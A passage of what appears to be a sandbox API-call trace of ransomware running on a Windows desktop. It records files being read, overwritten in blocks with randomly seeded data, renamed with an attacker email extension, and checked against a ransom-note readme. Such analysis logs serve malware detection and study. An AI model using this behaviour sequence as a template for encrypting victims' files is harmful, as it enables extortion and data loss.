lpBuffer=0x1336f9c8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1336f9b0, lpOverlapped=0x0 | out: lpBuffer=0x1336f9c8*, lpNumberOfBytesWritten=0x1336f9b0*=0x4, lpOverlapped=0x0) returned 1 [0172.714] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1336f9b0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1336f9b0*=0x4, lpOverlapped=0x0) returned 1 [0172.715] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1336f9b0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1336f9b0*=0x6c, lpOverlapped=0x0) returned 1 [0172.715] WriteFile (in: hFile=0x5d4, lpBuffer=0x30581b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1336f9b0, lpOverlapped=0x0 | out: lpBuffer=0x30581b0*, lpNumberOfBytesWritten=0x1336f9b0*=0x20, lpOverlapped=0x0) returned 1 [0172.715] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1336f9b0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1336f9b0*=0x4, lpOverlapped=0x0) returned 1 [0172.715] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30581b0) returned 1 [0172.715] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582a0) returned 1 [0172.715] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582c8) returned 1 [0172.715] CloseHandle (hObject=0x5d4) returned 1 [0172.715] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc42b0 [0172.715] wcscpy (in: _Dest=0x2fc42b0, _Source="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif.mailto[kokoklock@cock.li].d0e731" [0172.715] wcscat (in: _Dest=0x2fc42b0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.715] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\a9debidx78xhyffcflnc.gif.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\a9debidx78xhyffcflnc.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.716] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.716] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc42b0) returned 1 [0172.717] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\a9DEbidx78xhyfFcFlNC.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.717] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa41e0 [0172.717] wcscpy (in: _Dest=0x2fa41e0, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.717] wcscat (in: _Dest=0x2fa41e0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.717] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.717] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa41e0) returned 1 [0172.717] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91f50) returned 1 [0172.717] RtlExitUserThread (Status=0x1) Thread: id = 1931 os_tid = 0x834 [0170.735] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\b-j69ri1ladazjye1u.flv.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.677] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.678] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\b-j69ri1ladazjye1u.flv.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.678] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x133efa78 | out: lpFileSize=0x133efa78*=93048) returned 1 [0172.678] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x16b74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.678] ReadFile (in: hFile=0x5d4, lpBuffer=0x133efa4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x133efa48, lpOverlapped=0x0 | out: lpBuffer=0x133efa4c*, lpNumberOfBytesRead=0x133efa48*=0x4, lpOverlapped=0x0) returned 1 [0172.679] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.679] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058430 [0172.679] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30581b0 [0172.679] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058250 [0172.679] NtQuerySystemTime (in: CurrentTime=0x133efa24 | out: CurrentTime=0x133efa24*=132121213299984974) returned 0x0 [0172.679] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0x3953fb20 [0172.679] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0xd806aae3 [0172.679] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0xc4a01ebd [0172.679] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0x6b740847 [0172.679] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0x5c13bdcd [0172.679] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0x8807450d [0172.679] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0xd82e49ff [0172.679] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0xb118f889 [0172.679] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0x59c3bff9 [0172.679] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0x893862de [0172.679] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0x586ac984 [0172.679] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0xf8a54d63 [0172.679] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0xd70fc10a [0172.679] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0x2c1b3e32 [0172.679] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0x4d8b8371 [0172.679] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0x863d9a80 [0172.679] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0x4a951957 [0172.679] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0xacb3b89b [0172.679] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0xfad19d27 [0172.679] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0xce631596 [0172.679] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0xbb783 [0172.680] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0x8cd2e031 [0172.680] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0xfacb789d [0172.680] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0x343db57e [0172.680] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0x561ed3be [0172.680] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0x74ac5f54 [0172.680] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0xe83aa020 [0172.680] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0x3fd06fd9 [0172.680] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0xbf3296d0 [0172.680] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0x5cb3416c [0172.680] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0x56384ea2 [0172.680] RtlRandom (in: Seed=0x133efa30 | out: Seed=0x133efa30) returned 0x41ff651e [0172.689] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058278 [0172.691] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.691] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582a0 [0172.691] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.691] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058430) returned 1 [0172.691] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.691] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.691] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x133ef9fc, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x133ef9fc*=0x4096, lpOverlapped=0x0) returned 1 [0172.691] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.692] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.692] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.692] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582c8 [0172.692] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582c8) returned 1 [0172.692] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.692] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582c8 [0172.692] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582f0 [0172.692] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582f0) returned 1 [0172.692] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.692] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.692] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x133ef9fc, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x133ef9fc*=0x4096, lpOverlapped=0x0) returned 1 [0172.693] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.693] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x16b78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.693] WriteFile (in: hFile=0x5d4, lpBuffer=0x30582c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x133efa34, lpOverlapped=0x0 | out: lpBuffer=0x30582c8*, lpNumberOfBytesWritten=0x133efa34*=0x20, lpOverlapped=0x0) returned 1 [0172.694] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582c8) returned 1 [0172.694] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.694] WriteFile (in: hFile=0x5d4, lpBuffer=0x30582a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x133efa48, lpOverlapped=0x0 | out: lpBuffer=0x30582a0*, lpNumberOfBytesWritten=0x133efa48*=0x8, lpOverlapped=0x0) returned 1 [0172.694] WriteFile (in: hFile=0x5d4, lpBuffer=0x133efa60*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x133efa48, lpOverlapped=0x0 | out: lpBuffer=0x133efa60*, lpNumberOfBytesWritten=0x133efa48*=0x4, lpOverlapped=0x0) returned 1 [0172.694] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x133efa48, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x133efa48*=0x4, lpOverlapped=0x0) returned 1 [0172.694] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x133efa48, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x133efa48*=0x6c, lpOverlapped=0x0) returned 1 [0172.694] WriteFile (in: hFile=0x5d4, lpBuffer=0x30581b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x133efa48, lpOverlapped=0x0 | out: lpBuffer=0x30581b0*, lpNumberOfBytesWritten=0x133efa48*=0x20, lpOverlapped=0x0) returned 1 [0172.695] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x133efa48, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x133efa48*=0x4, lpOverlapped=0x0) returned 1 [0172.695] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30581b0) returned 1 [0172.695] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058278) returned 1 [0172.695] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582a0) returned 1 [0172.695] CloseHandle (hObject=0x5d4) returned 1 [0172.695] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe2) returned 0x2fc4940 [0172.695] wcscpy (in: _Dest=0x2fc4940, _Source="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv.mailto[kokoklock@cock.li].d0e731" [0172.695] wcscat (in: _Dest=0x2fc4940, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.695] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\b-j69ri1ladazjye1u.flv.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\b-j69ri1ladazjye1u.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.696] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.696] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4940) returned 1 [0172.696] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\b-J69rI1LaDazjYe1u.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.696] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.696] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.696] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.696] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.696] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.696] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2feecc0) returned 1 [0172.696] RtlExitUserThread (Status=0x1) Thread: id = 1932 os_tid = 0xc20 [0170.737] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\b0sqoygwnge.mp4.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.655] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.655] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\b0SqoygWnGE.mp4.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\b0sqoygwnge.mp4.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.655] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x1346f9bc | out: lpFileSize=0x1346f9bc*=66388) returned 1 [0172.655] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x10350, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.655] ReadFile (in: hFile=0x5d4, lpBuffer=0x1346f990, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1346f98c, lpOverlapped=0x0 | out: lpBuffer=0x1346f990*, lpNumberOfBytesRead=0x1346f98c*=0x4, lpOverlapped=0x0) returned 1 [0172.656] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.656] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058430 [0172.656] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30581b0 [0172.656] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058228 [0172.657] NtQuerySystemTime (in: CurrentTime=0x1346f968 | out: CurrentTime=0x1346f968*=132121213299670854) returned 0x0 [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0xffb2a0be [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0x5903f6a [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0x379e0f72 [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0xf350f2f1 [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0xb96d7b9f [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0x3a01461 [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0xaf48c9d9 [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0xda26cb26 [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0xfceda269 [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0x92854089 [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0x89c0fc65 [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0x5137dfc [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0xbfa859ae [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0x6e0f0962 [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0x7427d739 [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0x537ffae [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0xa29b1131 [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0x8fdd6774 [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0x14a8b4ea [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0xfd78c2b4 [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0xe1369617 [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0xfe7f4391 [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0xe2d666fc [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0xc7d13e41 [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0xa915d74b [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0x58f350e9 [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0x237e91d2 [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0xbc4e2f11 [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0x9517fabc [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0x71969322 [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0x86f1b51f [0172.657] RtlRandom (in: Seed=0x1346f974 | out: Seed=0x1346f974) returned 0xa8067d39 [0172.668] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058250 [0172.670] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.670] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058278 [0172.670] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.671] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058430) returned 1 [0172.671] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.671] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.671] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1346f940, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x1346f940*=0x4096, lpOverlapped=0x0) returned 1 [0172.671] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.671] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.671] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.671] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582a0 [0172.671] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582a0) returned 1 [0172.672] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.672] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582a0 [0172.672] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582c8 [0172.672] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582c8) returned 1 [0172.672] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.672] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.672] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1346f940, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x1346f940*=0x4096, lpOverlapped=0x0) returned 1 [0172.673] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.673] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x10354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.673] WriteFile (in: hFile=0x5d4, lpBuffer=0x30582a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1346f978, lpOverlapped=0x0 | out: lpBuffer=0x30582a0*, lpNumberOfBytesWritten=0x1346f978*=0x20, lpOverlapped=0x0) returned 1 [0172.674] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582a0) returned 1 [0172.674] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.674] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058278*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1346f98c, lpOverlapped=0x0 | out: lpBuffer=0x3058278*, lpNumberOfBytesWritten=0x1346f98c*=0x8, lpOverlapped=0x0) returned 1 [0172.674] WriteFile (in: hFile=0x5d4, lpBuffer=0x1346f9a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1346f98c, lpOverlapped=0x0 | out: lpBuffer=0x1346f9a4*, lpNumberOfBytesWritten=0x1346f98c*=0x4, lpOverlapped=0x0) returned 1 [0172.674] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1346f98c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, 